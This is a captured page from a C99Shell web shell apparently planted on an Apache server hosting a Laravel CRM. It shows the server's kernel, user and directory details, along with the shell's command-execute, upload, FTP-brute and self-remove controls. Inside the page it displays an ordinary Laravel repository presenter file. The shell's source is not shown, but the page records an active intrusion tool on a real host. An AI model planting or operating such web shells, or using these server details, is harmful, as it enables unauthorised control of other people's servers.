!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache/2.4.41 (Ubuntu). PHP/8.0.30 

uname -a: Linux apirnd 5.4.0-204-generic #224-Ubuntu SMP Thu Dec 5 13:38:28 UTC 2024 x86_64 

uid=33(www-data) gid=33(www-data) groups=33(www-data) 

Safe-mode: OFF (not secure)

/var/www/html/laravel-crm/vendor/prettus/l5-repository/src/Prettus/Repository/Presenter/   drwxrwxrwx
Free 12.92 GB of 57.97 GB (22.29%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     FractalPresenter.php (4.03 KB)      -rw-rw-rw-
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
namespace Prettus\Repository\Presenter;

use 
Exception;
use 
Illuminate\Database\Eloquent\Collection as EloquentCollection;
use 
Illuminate\Pagination\AbstractPaginator;
use 
Illuminate\Pagination\LengthAwarePaginator;
use 
Illuminate\Pagination\Paginator;
use 
League\Fractal\Manager;
use 
League\Fractal\Pagination\IlluminatePaginatorAdapter;
use 
League\Fractal\Resource\Collection;
use 
League\Fractal\Resource\Item;
use 
League\Fractal\Serializer\SerializerAbstract;
use 
Prettus\Repository\Contracts\PresenterInterface;

/**
 * Class FractalPresenter
 * @package Prettus\Repository\Presenter
 * @author Anderson Andrade <contato@andersonandra.de>
 */
abstract class FractalPresenter implements PresenterInterface
{
    
/**
     * @var string
     */
    
protected $resourceKeyItem null;

    
/**
     * @var string
     */
    
protected $resourceKeyCollection null;

    
/**
     * @var \League\Fractal\Manager
     */
    
protected $fractal null;

    
/**
     * @var \League\Fractal\Resource\Collection
     */
    
protected $resource null;

    
/**
     * @throws Exception
     */
    
public function __construct()
    {
        if (!
class_exists('League\Fractal\Manager')) {
            throw new 
Exception(trans('repository::packages.league_fractal_required'));
        }

        
$this->fractal = new Manager();
        
$this->parseIncludes();
        
$this->setupSerializer();
    }

    
/**
     * @return $this
     */
    
protected function setupSerializer()
    {
        
$serializer $this->serializer();

        if (
$serializer instanceof SerializerAbstract) {
            
$this->fractal->setSerializer(new $serializer());
        }

        return 
$this;
    }

    
/**
     * @return $this
     */
    
protected function parseIncludes()
    {

        
$request app('Illuminate\Http\Request');
        
$paramIncludes config('repository.fractal.params.include''include');

        if (
$request->has($paramIncludes)) {
            
$this->fractal->parseIncludes($request->get($paramIncludes));
        }

        return 
$this;
    }

    
/**
     * Get Serializer
     *
     * @return SerializerAbstract
     */
    
public function serializer()
    {
        
$serializer config('repository.fractal.serializer''League\\Fractal\\Serializer\\DataArraySerializer');

        return new 
$serializer();
    }

    
/**
     * Transformer
     *
     * @return \League\Fractal\TransformerAbstract
     */
    
abstract public function getTransformer();

    
/**
     * Prepare data to present
     *
     * @param $data
     *
     * @return mixed
     * @throws Exception
     */
    
public function present($data)
    {
        if (!
class_exists('League\Fractal\Manager')) {
            throw new 
Exception(trans('repository::packages.league_fractal_required'));
        }

        if (
$data instanceof EloquentCollection) {
            
$this->resource $this->transformCollection($data);
        } elseif (
$data instanceof AbstractPaginator) {
            
$this->resource $this->transformPaginator($data);
        } else {
            
$this->resource $this->transformItem($data);
        }

        return 
$this->fractal->createData($this->resource)->toArray();
    }

    
/**
     * @param $data
     *
     * @return Item
     */
    
protected function transformItem($data)
    {
        return new 
Item($data$this->getTransformer(), $this->resourceKeyItem);
    }

    
/**
     * @param $data
     *
     * @return \League\Fractal\Resource\Collection
     */
    
protected function transformCollection($data)
    {
        return new 
Collection($data$this->getTransformer(), $this->resourceKeyCollection);
    }

    
/**
     * @param AbstractPaginator|LengthAwarePaginator|Paginator $paginator
     *
     * @return \League\Fractal\Resource\Collection
     */
    
protected function transformPaginator($paginator)
    {
        
$collection $paginator->getCollection();
        
$resource = new Collection($collection$this->getTransformer(), $this->resourceKeyCollection);
        
$resource->setPaginator(new IlluminatePaginatorAdapter($paginator));

        return 
$resource;
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0051 ]--